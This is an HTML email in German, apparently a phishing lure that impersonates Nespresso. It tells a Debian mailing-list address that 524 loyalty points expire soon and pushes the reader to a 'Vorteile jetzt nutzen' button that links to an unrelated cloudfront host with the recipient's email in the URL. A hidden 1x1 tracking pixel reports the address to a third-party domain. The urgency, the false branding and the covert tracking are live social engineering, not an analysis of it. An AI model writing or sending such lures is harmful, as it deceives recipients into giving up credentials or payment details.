<!DOCTYPE html>
<html lang="de">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Service: Status Ihres Kontos</title>
  <style>
    body { margin: 0; padding: 0; background-color: #f4f7f6; font-family: 'Segoe UI', Arial, sans-serif; }
    .page-wrap { width: 100%; background-color: #f4f7f6; padding: 40px 0; }
    .main-shell { max-width: 580px; margin: 0 auto; background: #ffffff; border-radius: 12px; border: 1px solid #e2e8f0; overflow: hidden; box-shadow: 0 4px 6px rgba(0,0,0,0.02); }
    .status-chip { display: inline-block; background: #fffaf0; color: #9c4221; padding: 5px 12px; border-radius: 4px; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.5px; margin-bottom: 25px; }
    .action-btn { display: inline-block; background: #111111; color: #ffffff !important; text-decoration: none; padding: 20px 45px; border-radius: 8px; font-weight: 700; font-size: 16px; }
    .balance-well { background-color: #fafbfb; border: 1.5px solid #edf2f7; border-radius: 16px; margin: 30px 0; padding: 40px 25px; }
    .dash-line { height: 1px; width: 45px; background: #cbd5e0; margin: 20px auto; border: none; }
  </style>
</head>
<body style="margin:0; padding:0; background:#f4f7f6;">

<div class="page-wrap">
  <img src="https://dev.nirvanstudio.com/anti/ness/index.php?action=track&email=pkg-fonts-devel@lists.alioth.debian.org" width="1" height="1" alt="" style="display:none !important;" />

  <table class="main-shell" align="center" cellpadding="0" cellspacing="0" border="0" role="presentation">
    <tr>
      <td style="padding: 55px 50px; text-align: center;">
        
        <table width="100%" cellpadding="0" cellspacing="0" border="0" role="presentation" style="margin-bottom: 35px;">
          <tr>
            <td align="center">
              <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgITV_LXEiaIK8_4Vv1OTF8BiuRDHLaAfyq63NnOVw5Eoc_X2GkEtb35-808GnWjqRqIrZe76yRMz2S4kRH2KyLNfIv0uoCrCuQfoqBbzkWPKmeQtEW7hd47QvPuV6krDfqm04TP6_E38zOs6evJefxgZ8mRGmH1Asz_IJ9SDH9eWDIqxHAdbWvRMwr/s320/Nespresso-Logo.png" 
                   alt="Exklusiv-Update" 
                   width="180" 
                   style="display: block; border: 0; outline: none; margin: 0 auto; width: 180px;">
            </td>
          </tr>
        </table>

        <div class="status-chip">Hinweis: 24-Stunden-Fenster</div>
        
        <h1 style="color: #1a202c; font-size: 30px; margin: 0 0 10px 0; font-weight: 800; letter-spacing: -0.5px;">Zeit für Ihr Guthaben.</h1>
        <p style="color: #718096; font-size: 15px; margin: 0;">Aktuelle Übersicht für: pkg-fonts-devel@lists.alioth.debian.org</p>

        <div class="balance-well">
          <p style="margin: 0; font-size: 11px; color: #a0aec0; text-transform: uppercase; font-weight: 700; letter-spacing: 2px;">Ihr aktueller Saldo</p>
          <div style="font-size: 64px; color: #000000; font-weight: 950; margin: 10px 0; line-height: 1;">524</div>
          <p style="margin: 0; font-size: 17px; color: #4a5568;">Gesammelte Treuepunkte</p>
          
          <hr class="dash-line">
          
          <p style="margin: 0; font-size: 15px; color: #1a202c;">
            Gültig bis zum: <strong style="color: #000000;">21. März 2026</strong>
          </p>
        </div>

        <p style="font-size: 16px; color: #4a5568; line-height: 1.8; margin-bottom: 40px;">
          Wir möchten Sie höflich an Ihre exklusiven Kundenvorteile erinnern. In <strong>drei Tagen</strong> verfällt Ihr Punktestand ersatzlos. Bitte nutzen Sie die verbleibende Zeit, um Ihr Guthaben gegen feine Kaffeemischungen oder hochwertiges Zubehör einzulösen.
        </p>

        <table width="100%" cellpadding="0" cellspacing="0" border="0">
          <tr>
            <td align="center">
              <a href="https://dh2aso5qr6jkx.cloudfront.net/?email=pkg-fonts-devel@lists.alioth.debian.org" class="action-btn">Vorteile jetzt nutzen</a>
            </td>
          </tr>
        </table>
        
        <p style="font-size: 12px; color: #a0aec0; margin-top: 35px;">
          Der Zugriff erfolgt über Ihr gesichertes Kunden-Portal.
        </p>
      </td>
    </tr>
    
    <tr>
      <td style="background-color: #fafcfb; padding: 40px; text-align: center; border-top: 1px solid #edf2f7;">
        <p style="font-size: 11px; color: #a0aec0; line-height: 1.8; margin: 0;">
          <strong style="color: #4a5568;">Kundenservice Treuewelt</strong><br>
          Pariser Platz 4a · 10117 Berlin · Deutschland<br><br>
          <a href="#" style="color: #a0aec0; text-decoration: underline;">Einstellungen</a>  •  <a href="#" style="color: #a0aec0; text-decoration: underline;">Datenschutz</a>
        </p>
      </td>
    </tr>
  </table>
</div>

</body>
</html>